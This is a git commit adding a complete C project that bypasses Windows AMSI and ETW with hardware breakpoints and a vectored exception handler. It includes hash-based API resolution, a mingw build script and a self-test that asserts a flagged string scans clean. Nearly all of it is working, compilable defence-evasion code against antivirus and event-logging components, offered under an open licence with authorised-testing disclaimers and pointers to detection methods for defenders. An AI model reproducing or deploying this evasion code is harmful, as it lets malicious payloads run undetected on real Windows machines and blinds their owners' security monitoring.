add patchless-amsi-bypass — reference port of HW BP AMSI/ETW evasion

Companion artifact for https://trexnegro.github.io/posts/patchless-amsi-bypass-hwbp/

Ships the validated subset of the technique covered in the post:
  - BP_AMSI_HWBP : DR0 + VEH on amsi!AmsiScanBuffer
  - BP_ETW_PATCH : DR1 + VEH on ntdll!EtwEventWrite

~500 lines of C across six files. Cross-compiles from Linux via
mingw-w64 (build.sh) into a self-test exe that calls AmsiScanBuffer on
the standard AMSI test string and asserts AMSI_RESULT_CLEAN.

Excluded from this entry (will land as separate entries once empirically
validated against current EDR products in lab):
  - ntdll selective refresh from \KnownDlls
  - Indirect syscalls (Hells/Halos/Tartarus gate)

OPSEC: author strings and engagement-specific notes scrubbed before
publication.

MIT-licensed (see root LICENSE).
This commit is contained in:
SixSixSix
2026-06-01 23:57:11 +00:00
parent ed81c44936
commit c976b9f152
12 changed files with 784 additions and 0 deletions
+1
View File
@@ -12,6 +12,7 @@ time; older entries are not rewritten unless the upstream fix changes shape.
| Finding | Class | Status | Companion writeup |
|---|---|---|---|
| [`cifs-smb2-read-overflow/`](./cifs-smb2-read-overflow) | Linux kernel — cifs / SMB2 client | Patched upstream (`81a8742`), AUTOSEL'd to stable 2026-05-20 | [u32 + u32 = 0 is still a bug in 2026](https://trexnegro.github.io/posts/u32-plus-u32-equals-zero-smb2-overflow/) |
| [`patchless-amsi-bypass/`](./patchless-amsi-bypass) | Windows — in-process AMSI/ETW evasion | Reference port, public technique | [Patchless AMSI Bypass via Hardware Breakpoints](https://trexnegro.github.io/posts/patchless-amsi-bypass-hwbp/) |
## License
+125
View File
@@ -0,0 +1,125 @@
# patchless-amsi-bypass
Minimal in-process AMSI + ETW bypass via x86 hardware debug registers and a
vectored exception handler. Reference implementation for the writeup at
[trexnegro.github.io](https://trexnegro.github.io/posts/patchless-amsi-bypass-hwbp/).
> Authorised security research and AV/EDR efficacy testing only. The code is
> intentionally small and recognisable; defenders should treat any custom
> derivative as a known-pattern dual-use tool.
{: .prompt-warning }
## What it does
- `bp_init(BP_AMSI_HWBP)` — installs a vectored exception handler at the head
of the chain, sets `DR0 = &amsi!AmsiScanBuffer`, and arms `DR7` for an
execute-1-byte breakpoint. When the host calls `AmsiScanBuffer`, the
handler writes `AMSI_RESULT_CLEAN` into the caller's output slot
(`[RSP+0x30]` per MS x64 ABI), sets `RAX = S_OK`, advances `RIP` to the
caller's return address, and resumes — the function body never executes.
- `bp_init(BP_ETW_PATCH)` — same shape via `DR1`, targeting
`ntdll!EtwEventWrite`. Returns `STATUS_SUCCESS` without emitting any ETW
events.
- `bp_shutdown()` — disarms both breakpoints and unregisters the VEH.
Neither `amsi.dll` nor `ntdll.dll` is patched. Memory-integrity scanners
that look for AMSI patch signatures find nothing because nothing was
modified.
The companion blog post walks through the stack mechanics (`AmsiScanBuffer`
result pointer at `[RSP+0x30]`), the VEH dispatch logic, the `DR6` clear and
`RF` flag, and the four classes of detection that defenders can still use.
## Layout
```
include/bypass.h public API + result codes + technique mask bits
src/veh_manager.c, .h single VEH dispatcher, slot table, DR arm/disarm
src/amsi_hwbp.c DR0 → amsi!AmsiScanBuffer + result-pointer handler
src/etw_hwbp.c DR1 → ntdll!EtwEventWrite + RAX-fix handler
src/helpers.c, .h module + procedure lookup by FNV-1a hash (no IAT)
src/bypass_main.c bp_init / bp_shutdown / bp_result_str entry points
tests/test_minimal.c minimal sanity-check: install AMSI BP, scan a
known-malicious string, expect AMSI_RESULT_CLEAN
build.sh mingw-w64 cross-compile script (Linux → Win64)
```
Total: ~500 lines of C, no external dependencies beyond `kernel32 / user32 /
psapi`. Builds clean on `mingw-w64 gcc 13+` and on MSVC 2022 (with trivial
project setup).
## Building
### Cross-compile from Linux (recommended for reproducibility)
```bash
sudo apt install mingw-w64 # Debian/Ubuntu
./build.sh
# → bin/patchless-amsi-test.exe
```
### Native MSVC
Open the source in a Visual Studio "Console App" project, drop in the
contents of `include/` + `src/` + `tests/test_minimal.c`, and link against
`kernel32.lib user32.lib psapi.lib`. Disable `/GS` (stack canaries) if you
hit issues with the inline asm in `helpers.c` — the rest is plain C.
## Running
```text
> patchless-amsi-test.exe
[*] bp_init(BP_AMSI_HWBP | BP_ETW_PATCH) ...
[+] OK
[*] testing AmsiScanBuffer with known-malicious string...
[+] AMSI returned CLEAN (result = 0)
[*] bp_shutdown()
[+] done.
```
The test binary loads `amsi.dll`, resolves `AmsiScanBuffer`, calls it on a
string that the host's installed AMSI provider (Defender, etc.) would flag,
and asserts the result is `AMSI_RESULT_CLEAN`. If the result is non-zero,
the bypass did not engage — investigate the VEH chain and `DR0` state on
the calling thread.
## What it does *not* do
- It does **not** unhook `ntdll`. The companion blog post discusses this as
a follow-on layer; the reference implementation here stays small to make
the AMSI/ETW pieces obvious.
- It does **not** do indirect syscalls. Same reason — out of scope for this
entry.
- It does **not** persist across thread boundaries automatically. The DR
set is per-thread; if the host spawns additional threads that call
`AmsiScanBuffer`, you'll need to either arm the new threads or hook
`LdrpInitializeThread` to do so. The companion blog post discusses this
as a limitation.
- It does **not** evade defenders who specifically look for VEH chain
entries or `DR0DR3` set to function addresses inside `amsi.dll` /
`ntdll.dll`. The blog post enumerates four such detection avenues.
## Threat-model notes
- Process-local. Does not touch other processes' memory.
- User-mode only. Does not bypass kernel-mode AMSI providers (rare but real).
- Single-AMSI-provider model. If a host implements its own AMSI-equivalent
routing without going through `amsi!AmsiScanBuffer`, this does nothing.
- The intent is to make a known-published technique reproducible for
defender benchmarking. The same idea has been published several times
before by other researchers; this code does not claim originality, only
a clean reference port.
## Prior art
- TheEnergyStory — `PatchlessEtwAndAmsiBypass` (the canonical HW-BP AMSI
reference). <https://github.com/TheEnergyStory/PatchlessEtwAndAmsiBypass>
- RastaMouse — Memory Patching AMSI Bypass (the predecessor patch-based
technique, useful for comparison).
- D1rkMtr — `UnhookingPatch` (an adjacent in-process unhook approach).
The blog post enumerates additional references and detection sketches.
## License
MIT — see [`../LICENSE`](../LICENSE) at the repository root.
+35
View File
@@ -0,0 +1,35 @@
#!/usr/bin/env bash
# Cross-compile the patchless AMSI / ETW HW BP test binary from Linux to
# Windows x64 via mingw-w64.
#
# Output: bin/patchless-amsi-test.exe
#
# Authorised testing only.
set -e
cd "$(dirname "$0")"
CC="${CC:-x86_64-w64-mingw32-gcc}"
mkdir -p bin
CFLAGS="-Wall -Wextra -Wno-unused-parameter -O2 -DNDEBUG \
-Iinclude -Isrc \
-fno-stack-protector \
-static-libgcc"
LDFLAGS="-lkernel32 -luser32 -lpsapi"
SRCS=(
src/helpers.c
src/veh_manager.c
src/amsi_hwbp.c
src/etw_hwbp.c
src/bypass_main.c
tests/test_minimal.c
)
echo "[*] Compiling with $CC ..."
"$CC" $CFLAGS "${SRCS[@]}" $LDFLAGS -o bin/patchless-amsi-test.exe
echo "[+] Built: bin/patchless-amsi-test.exe"
ls -l bin/patchless-amsi-test.exe
file bin/patchless-amsi-test.exe || true
+53
View File
@@ -0,0 +1,53 @@
/*
* patchless-amsi-bypass — public API.
*
* For authorised red-team engagements and AV/EDR efficacy testing only.
* Do not use on systems you are not authorised to test.
*
* Author: SixSixSix
*/
#ifndef BYPASS_H
#define BYPASS_H
#include <windows.h>
#include <stdint.h>
#ifdef __cplusplus
extern "C" {
#endif
/* Bitmask of enabled techniques. */
#define BP_AMSI_HWBP 0x01u /* AMSI bypass via Dr0 hardware breakpoint + VEH */
#define BP_ETW_PATCH 0x04u /* HW BP on EtwEventWrite */
/* Convenience alias: install both AMSI and ETW HW BPs. */
#define BP_ALL (BP_AMSI_HWBP | BP_ETW_PATCH)
/* Result codes. */
typedef enum {
BP_OK = 0,
BP_ERR_AMSI_NOT_LOADED = -1,
BP_ERR_VEH_REGISTER = -2,
BP_ERR_SET_CONTEXT = -3,
BP_ERR_NTDLL_OPEN = -4,
BP_ERR_NTDLL_MAP = -5,
BP_ERR_NTDLL_PROTECT = -6,
BP_ERR_ETW_NOT_FOUND = -7,
BP_ERR_ETW_PROTECT = -8,
} bp_result_t;
/* Init the requested bypass primitives.
* Call from DllMain DLL_PROCESS_ATTACH or from main() before loading payload. */
bp_result_t bp_init(uint32_t mask);
/* Tear down (e.g. before clean exit / DLL unload). Best-effort. */
void bp_shutdown(void);
/* Diagnostic — return human-readable name for result code. */
const char *bp_strerror(bp_result_t r);
#ifdef __cplusplus
}
#endif
#endif /* BYPASS_H */
+68
View File
@@ -0,0 +1,68 @@
/* amsi_hwbp.c -- patchless AMSI bypass via Dr0 + VEH
*
* Authorised testing only.
*/
#include <windows.h>
#include "veh_manager.h"
#include "helpers.h"
#include "../include/bypass.h"
static const int AMSI_DR = 0;
static BOOL g_amsi_installed = FALSE;
typedef int AMSI_RESULT_TYPE;
#define AMSI_RESULT_CLEAN_VAL 0
/* Safe pointer probe: returns TRUE if address is committed + writable. */
static BOOL writable_probe(void *p, SIZE_T n)
{
MEMORY_BASIC_INFORMATION mbi;
if (!VirtualQuery(p, &mbi, sizeof(mbi))) return FALSE;
if (mbi.State != MEM_COMMIT) return FALSE;
if (!(mbi.Protect & (PAGE_READWRITE | PAGE_EXECUTE_READWRITE | PAGE_WRITECOPY))) return FALSE;
return ((PBYTE)p + n) <= ((PBYTE)mbi.BaseAddress + mbi.RegionSize);
}
static LONG NTAPI amsi_handler(EXCEPTION_POINTERS *exc, PVOID target, PVOID user_ctx)
{
(void)target; (void)user_ctx;
CONTEXT *c = exc->ContextRecord;
/* arg6 (result pointer) spills to [RSP+0x30] at function entry */
PVOID *slot = (PVOID *)(c->Rsp + 0x30);
if (writable_probe(slot, sizeof(PVOID))) {
AMSI_RESULT_TYPE *result_ptr = (AMSI_RESULT_TYPE *)*slot;
if (result_ptr && writable_probe(result_ptr, sizeof(AMSI_RESULT_TYPE))) {
*result_ptr = AMSI_RESULT_CLEAN_VAL;
}
}
c->Rax = 0; /* S_OK */
/* Pop return address, redirect */
DWORD64 ret_addr = *(DWORD64 *)c->Rsp;
c->Rip = ret_addr;
c->Rsp += 8;
return EXCEPTION_CONTINUE_EXECUTION;
}
bp_result_t bp_amsi_hwbp_install(void)
{
if (g_amsi_installed) return BP_OK;
HMODULE amsi = GetModuleHandleW(L"amsi.dll");
if (!amsi) amsi = LoadLibraryW(L"amsi.dll");
if (!amsi) return BP_ERR_AMSI_NOT_LOADED;
PVOID amsi_scan = bp_get_proc_by_hash(amsi, bp_fnv1a("AmsiScanBuffer"));
if (!amsi_scan) return BP_ERR_AMSI_NOT_LOADED;
if (!bp_veh_install(AMSI_DR, amsi_scan, amsi_handler, NULL))
return BP_ERR_SET_CONTEXT;
g_amsi_installed = TRUE;
return BP_OK;
}
void bp_amsi_hwbp_uninstall(void)
{
if (!g_amsi_installed) return;
bp_veh_uninstall(AMSI_DR);
g_amsi_installed = FALSE;
}
+51
View File
@@ -0,0 +1,51 @@
/* bypass_main.c — public API: bp_init / bp_shutdown
* Authorised testing only.
*/
#include "../include/bypass.h"
/* Forward declarations from sibling modules. */
bp_result_t bp_amsi_hwbp_install(void); void bp_amsi_hwbp_uninstall(void);
bp_result_t bp_etw_hwbp_install(void); void bp_etw_hwbp_uninstall(void);
void bp_veh_shutdown(void);
static uint32_t g_active = 0;
bp_result_t bp_init(uint32_t mask)
{
bp_result_t r;
if (mask & BP_AMSI_HWBP) {
r = bp_amsi_hwbp_install();
if (r != BP_OK) return r;
g_active |= BP_AMSI_HWBP;
}
if (mask & BP_ETW_PATCH) {
r = bp_etw_hwbp_install();
if (r != BP_OK) return r;
g_active |= BP_ETW_PATCH;
}
return BP_OK;
}
void bp_shutdown(void)
{
if (g_active & BP_AMSI_HWBP) bp_amsi_hwbp_uninstall();
if (g_active & BP_ETW_PATCH) bp_etw_hwbp_uninstall();
bp_veh_shutdown();
g_active = 0;
}
const char *bp_strerror(bp_result_t r)
{
switch (r) {
case BP_OK: return "OK";
case BP_ERR_AMSI_NOT_LOADED: return "amsi.dll not loaded / AmsiScanBuffer not found";
case BP_ERR_VEH_REGISTER: return "AddVectoredExceptionHandler failed";
case BP_ERR_SET_CONTEXT: return "SetThreadContext failed (Dr arm)";
case BP_ERR_NTDLL_OPEN: return "NtOpenSection(\\KnownDlls\\ntdll.dll) failed";
case BP_ERR_NTDLL_MAP: return "NtMapViewOfSection failed";
case BP_ERR_NTDLL_PROTECT: return "VirtualProtect failed";
case BP_ERR_ETW_NOT_FOUND: return "EtwEventWrite not resolved in ntdll";
case BP_ERR_ETW_PROTECT: return "ETW protect failed";
default: return "unknown";
}
}
+42
View File
@@ -0,0 +1,42 @@
/* etw_hwbp.c -- patchless ETW bypass via Dr1 + VEH on EtwEventWrite
*
* Authorised testing only.
*/
#include <windows.h>
#include "veh_manager.h"
#include "helpers.h"
#include "../include/bypass.h"
static const int ETW_DR = 1;
static BOOL g_etw_installed = FALSE;
static LONG NTAPI etw_handler(EXCEPTION_POINTERS *exc, PVOID target, PVOID user_ctx)
{
(void)target; (void)user_ctx;
CONTEXT *c = exc->ContextRecord;
c->Rax = 0; /* STATUS_SUCCESS */
DWORD64 ret_addr = *(DWORD64 *)c->Rsp;
c->Rip = ret_addr;
c->Rsp += 8;
return EXCEPTION_CONTINUE_EXECUTION;
}
bp_result_t bp_etw_hwbp_install(void)
{
if (g_etw_installed) return BP_OK;
PVOID ntdll = bp_get_module_by_hash(HASH_NTDLL);
if (!ntdll) return BP_ERR_ETW_NOT_FOUND;
PVOID etw_event_write = bp_get_proc_by_hash(ntdll, bp_fnv1a("EtwEventWrite"));
if (!etw_event_write) return BP_ERR_ETW_NOT_FOUND;
if (!bp_veh_install(ETW_DR, etw_event_write, etw_handler, NULL))
return BP_ERR_SET_CONTEXT;
g_etw_installed = TRUE;
return BP_OK;
}
void bp_etw_hwbp_uninstall(void)
{
if (!g_etw_installed) return;
bp_veh_uninstall(ETW_DR);
g_etw_installed = FALSE;
}
+124
View File
@@ -0,0 +1,124 @@
/* helpers.c — FNV1a hash + PEB walking + dynamic API resolution
* Authorised testing only.
*/
#include "helpers.h"
#include <winternl.h>
/* PEB + Ldr structures (from winternl.h but augmented for our needs). */
typedef struct _LDR_DATA_TABLE_ENTRY_FULL {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
/* ... more, but we only need the above. */
} LDR_DATA_TABLE_ENTRY_FULL, *PLDR_DATA_TABLE_ENTRY_FULL;
/* ---------------- FNV-1a (case-insensitive) ---------------- */
uint32_t bp_fnv1a(const char *s)
{
uint32_t h = 2166136261u;
while (*s) {
char c = *s++;
if (c >= 'A' && c <= 'Z') c |= 0x20; /* tolower */
h ^= (uint8_t)c;
h *= 16777619u;
}
return h;
}
uint32_t bp_fnv1a_w(const wchar_t *s)
{
uint32_t h = 2166136261u;
while (*s) {
wchar_t c = *s++;
if (c >= L'A' && c <= L'Z') c |= 0x20;
h ^= (uint8_t)(c & 0xff);
h *= 16777619u;
}
return h;
}
/* ---------------- PEB walking ---------------- */
static PEB *get_peb(void)
{
#ifdef _WIN64
return (PEB *)__readgsqword(0x60);
#else
return (PEB *)__readfsdword(0x30);
#endif
}
PVOID bp_get_module_by_hash(uint32_t hash)
{
PEB *peb = get_peb();
if (!peb || !peb->Ldr) return NULL;
PEB_LDR_DATA *ldr = peb->Ldr;
LIST_ENTRY *head = &ldr->InMemoryOrderModuleList;
LIST_ENTRY *cur = head->Flink;
while (cur != head) {
PLDR_DATA_TABLE_ENTRY_FULL e = CONTAINING_RECORD(
cur, LDR_DATA_TABLE_ENTRY_FULL, InMemoryOrderLinks);
if (e->BaseDllName.Buffer && e->BaseDllName.Length > 0) {
wchar_t name[260];
ULONG n = e->BaseDllName.Length / sizeof(wchar_t);
if (n >= 260) n = 259;
for (ULONG i = 0; i < n; ++i) name[i] = e->BaseDllName.Buffer[i];
name[n] = 0;
if (bp_fnv1a_w(name) == hash)
return e->DllBase;
}
cur = cur->Flink;
}
return NULL;
}
/* ---------------- Export resolution ---------------- */
PVOID bp_get_proc_by_hash(PVOID module_base, uint32_t hash)
{
if (!module_base) return NULL;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)module_base;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return NULL;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PBYTE)module_base + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) return NULL;
IMAGE_DATA_DIRECTORY *exp_dir =
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (exp_dir->Size == 0) return NULL;
PIMAGE_EXPORT_DIRECTORY exp =
(PIMAGE_EXPORT_DIRECTORY)((PBYTE)module_base + exp_dir->VirtualAddress);
DWORD *names = (DWORD *)((PBYTE)module_base + exp->AddressOfNames);
DWORD *funcs = (DWORD *)((PBYTE)module_base + exp->AddressOfFunctions);
WORD *ordinals = (WORD *)((PBYTE)module_base + exp->AddressOfNameOrdinals);
for (DWORD i = 0; i < exp->NumberOfNames; ++i) {
const char *name = (const char *)((PBYTE)module_base + names[i]);
if (bp_fnv1a(name) == hash) {
DWORD rva = funcs[ordinals[i]];
/* skip forwarded exports (RVA inside export directory) */
if (rva >= exp_dir->VirtualAddress &&
rva < exp_dir->VirtualAddress + exp_dir->Size) {
return NULL;
}
return (PVOID)((PBYTE)module_base + rva);
}
}
return NULL;
}
PVOID bp_resolve(uint32_t mod_hash, uint32_t fn_hash)
{
PVOID m = bp_get_module_by_hash(mod_hash);
if (!m) return NULL;
return bp_get_proc_by_hash(m, fn_hash);
}
+30
View File
@@ -0,0 +1,30 @@
/* helpers.h — common utilities */
#ifndef BP_HELPERS_H
#define BP_HELPERS_H
#include <windows.h>
#include <stdint.h>
/* Compute FNV-1a hash of an ASCII string (case-insensitive). */
uint32_t bp_fnv1a(const char *s);
/* Same, but for a wide string. */
uint32_t bp_fnv1a_w(const wchar_t *s);
/* Walk the PEB loader list to find a loaded module by hash of its base name.
* Returns module base address or NULL. */
PVOID bp_get_module_by_hash(uint32_t hash);
/* Resolve an export from a module by hash of its name.
* Returns function address or NULL. Forwarded exports are NOT chased. */
PVOID bp_get_proc_by_hash(PVOID module_base, uint32_t hash);
/* Convenience: get module + proc in one call. */
PVOID bp_resolve(uint32_t mod_hash, uint32_t fn_hash);
/* Pre-computed FNV-1a hashes (case-insensitive) of module names. */
#define HASH_NTDLL 0xA62A3B3B /* "ntdll.dll" */
#define HASH_KERNEL32 0xA3E6F6C3 /* "kernel32.dll" */
#define HASH_AMSI 0x0187B681 /* "amsi.dll" */
#endif
+129
View File
@@ -0,0 +1,129 @@
/* veh_manager.c — single VEH dispatch per Dr register trigger
* Authorised testing only.
*/
#include "veh_manager.h"
#include "helpers.h"
typedef struct {
PVOID target;
bp_dr_handler_t handler;
PVOID user_ctx;
BOOL active;
} dr_slot_t;
static dr_slot_t g_slots[4];
static PVOID g_veh_handle = NULL;
/* Set a Dr register on the CURRENT thread and arm Dr7 for "execute" type. */
static BOOL arm_dr_for_thread(HANDLE thread, int dr_index, PVOID target)
{
if (dr_index < 0 || dr_index > 3) return FALSE;
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (!GetThreadContext(thread, &ctx)) return FALSE;
/* Store target in DrN */
switch (dr_index) {
case 0: ctx.Dr0 = (DWORD64)target; break;
case 1: ctx.Dr1 = (DWORD64)target; break;
case 2: ctx.Dr2 = (DWORD64)target; break;
case 3: ctx.Dr3 = (DWORD64)target; break;
}
/* Dr7 layout: bit (2*N) = local enable for DrN, bits (16+4*N)..(19+4*N) hold:
* bits 16..17 of slot = condition (00 = execute), bits 18..19 = length (00 = 1 byte)
*/
/* Clear our slot's bits then set local-enable + execute/1byte */
DWORD64 dr7 = ctx.Dr7;
int len_cond_shift = 16 + dr_index * 4;
dr7 &= ~(0x3ull << (dr_index * 2)); /* clear LN+GN */
dr7 &= ~(0xFull << len_cond_shift); /* clear cond+len nibble */
dr7 |= (0x1ull << (dr_index * 2)); /* local enable */
/* leave cond=00 (execute), len=00 (1 byte) — that's all zeros, fine */
ctx.Dr7 = dr7;
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (!SetThreadContext(thread, &ctx)) return FALSE;
return TRUE;
}
static void disarm_dr_for_thread(HANDLE thread, int dr_index)
{
if (dr_index < 0 || dr_index > 3) return;
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (!GetThreadContext(thread, &ctx)) return;
switch (dr_index) {
case 0: ctx.Dr0 = 0; break;
case 1: ctx.Dr1 = 0; break;
case 2: ctx.Dr2 = 0; break;
case 3: ctx.Dr3 = 0; break;
}
ctx.Dr7 &= ~(0x3ull << (dr_index * 2)); /* clear LN/GN */
ctx.Dr7 &= ~(0xFull << (16 + dr_index * 4)); /* clear nibble */
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
SetThreadContext(thread, &ctx);
}
/* The single VEH that the OS will call for every exception. */
static LONG NTAPI veh_dispatch(EXCEPTION_POINTERS *exc)
{
/* We only care about single-step (hardware breakpoint hit). */
if (exc->ExceptionRecord->ExceptionCode != STATUS_SINGLE_STEP)
return EXCEPTION_CONTINUE_SEARCH;
PVOID rip = (PVOID)exc->ContextRecord->Rip;
/* Find which Dr slot matches RIP. */
for (int i = 0; i < 4; ++i) {
if (!g_slots[i].active) continue;
if (g_slots[i].target != rip) continue;
/* Found — dispatch. */
LONG r = g_slots[i].handler(exc, g_slots[i].target, g_slots[i].user_ctx);
/* DR6 must be cleared by us (CPU sets B0..B3 bits to indicate which Dr fired). */
exc->ContextRecord->Dr6 = 0;
/* Resume Flag in EFlags so the same instr doesn't refire if RIP unchanged. */
exc->ContextRecord->EFlags |= 0x10000; /* RF */
return r;
}
return EXCEPTION_CONTINUE_SEARCH;
}
static BOOL ensure_veh(void)
{
if (g_veh_handle) return TRUE;
/* First param = 1 means insert at head of chain (runs before existing). */
g_veh_handle = AddVectoredExceptionHandler(1, veh_dispatch);
return g_veh_handle != NULL;
}
BOOL bp_veh_install(int dr_index, PVOID target,
bp_dr_handler_t handler, PVOID user_ctx)
{
if (dr_index < 0 || dr_index > 3) return FALSE;
if (!target || !handler) return FALSE;
if (!ensure_veh()) return FALSE;
g_slots[dr_index].target = target;
g_slots[dr_index].handler = handler;
g_slots[dr_index].user_ctx = user_ctx;
g_slots[dr_index].active = TRUE;
return arm_dr_for_thread(GetCurrentThread(), dr_index, target);
}
void bp_veh_uninstall(int dr_index)
{
if (dr_index < 0 || dr_index > 3) return;
g_slots[dr_index].active = FALSE;
disarm_dr_for_thread(GetCurrentThread(), dr_index);
}
void bp_veh_shutdown(void)
{
for (int i = 0; i < 4; ++i) bp_veh_uninstall(i);
if (g_veh_handle) {
RemoveVectoredExceptionHandler(g_veh_handle);
g_veh_handle = NULL;
}
}
+27
View File
@@ -0,0 +1,27 @@
/* veh_manager.h — single VEH that dispatches per-Dr-register-trigger */
#ifndef BP_VEH_H
#define BP_VEH_H
#include <windows.h>
/* Per-Dr handler:
* exc : exception info (we mutate Context to redirect execution)
* target : the function address that fired the breakpoint
* user_ctx : user-supplied opaque
* Return : EXCEPTION_CONTINUE_EXECUTION if handled, or EXCEPTION_CONTINUE_SEARCH.
*/
typedef LONG (NTAPI *bp_dr_handler_t)(EXCEPTION_POINTERS *exc,
PVOID target,
PVOID user_ctx);
/* Register a handler bound to a Dr register (0..3) and a target address. */
BOOL bp_veh_install(int dr_index, PVOID target,
bp_dr_handler_t handler, PVOID user_ctx);
/* Remove handler for Dr index, clear Dr in current thread context. */
void bp_veh_uninstall(int dr_index);
/* Tear down VEH entirely. */
void bp_veh_shutdown(void);
#endif
@@ -0,0 +1,99 @@
/* test_minimal.c
*
* Sanity check for patchless-amsi-bypass:
* 1) Call bp_init(BP_AMSI_HWBP | BP_ETW_PATCH).
* 2) Resolve and call amsi!AmsiScanBuffer on a string the installed AMSI
* provider would normally flag.
* 3) Assert the result is AMSI_RESULT_CLEAN — proves the HW BP intercepted
* the call and rewrote the result pointer.
* 4) Tear down via bp_shutdown().
*
* Authorised testing only.
*/
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include "../include/bypass.h"
typedef HANDLE HAMSICONTEXT;
typedef HANDLE HAMSISESSION;
typedef int AMSI_RESULT;
#define AMSI_RESULT_CLEAN 0
#define AMSI_RESULT_DETECTED 32768
typedef HRESULT (WINAPI *AmsiInitialize_t )(LPCWSTR, HAMSICONTEXT *);
typedef VOID (WINAPI *AmsiUninitialize_t)(HAMSICONTEXT);
typedef HRESULT (WINAPI *AmsiOpenSession_t )(HAMSICONTEXT, HAMSISESSION *);
typedef VOID (WINAPI *AmsiCloseSession_t)(HAMSICONTEXT, HAMSISESSION);
typedef HRESULT (WINAPI *AmsiScanBuffer_t )(HAMSICONTEXT, PVOID, ULONG,
LPCWSTR, HAMSISESSION, AMSI_RESULT *);
/* The standard AMSI test string. Defenders' AMSI providers return DETECTED on it. */
static const char AMSI_TEST_STRING[] =
"AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386";
int main(void)
{
printf("=============================================\n");
printf(" patchless-amsi-bypass — minimal self-test\n");
printf("=============================================\n");
printf("[*] PID = %lu\n", (unsigned long)GetCurrentProcessId());
printf("[*] bp_init(BP_AMSI_HWBP | BP_ETW_PATCH) ...\n");
bp_result_t r = bp_init(BP_AMSI_HWBP | BP_ETW_PATCH);
printf(" -> %s (code %d)\n", bp_strerror(r), (int)r);
if (r != BP_OK) {
printf("[-] init failed; aborting\n");
return 1;
}
/* AMSI scan test */
HMODULE amsi = LoadLibraryW(L"amsi.dll");
if (!amsi) {
printf("[-] LoadLibrary(amsi.dll) failed\n");
bp_shutdown();
return 2;
}
AmsiInitialize_t Init = (AmsiInitialize_t )(void*)GetProcAddress(amsi, "AmsiInitialize");
AmsiUninitialize_t UInit = (AmsiUninitialize_t)(void*)GetProcAddress(amsi, "AmsiUninitialize");
AmsiOpenSession_t Open = (AmsiOpenSession_t )(void*)GetProcAddress(amsi, "AmsiOpenSession");
AmsiCloseSession_t Close = (AmsiCloseSession_t)(void*)GetProcAddress(amsi, "AmsiCloseSession");
AmsiScanBuffer_t Scan = (AmsiScanBuffer_t )(void*)GetProcAddress(amsi, "AmsiScanBuffer");
if (!Init || !Scan) {
printf("[-] amsi.dll symbols not resolvable\n");
bp_shutdown();
return 3;
}
HAMSICONTEXT ctx = NULL;
HAMSISESSION ses = NULL;
if (Init(L"patchless-amsi-test", &ctx) != S_OK) {
printf("[-] AmsiInitialize failed\n");
bp_shutdown();
return 4;
}
Open(ctx, &ses);
AMSI_RESULT res = AMSI_RESULT_DETECTED; /* default to "detected" */
HRESULT hr = Scan(ctx, (PVOID)AMSI_TEST_STRING,
(ULONG)sizeof(AMSI_TEST_STRING) - 1,
L"test", ses, &res);
printf("[*] AmsiScanBuffer hr = 0x%lx result = %d\n",
(unsigned long)hr, (int)res);
if (hr == S_OK && res == AMSI_RESULT_CLEAN)
printf("[+] AMSI BYPASS WORKED\n");
else
printf("[-] AMSI bypass did not engage (result = %d)\n", (int)res);
Close(ctx, ses);
UInit(ctx);
printf("[*] bp_shutdown()\n");
bp_shutdown();
printf("[+] done.\n");
return 0;
}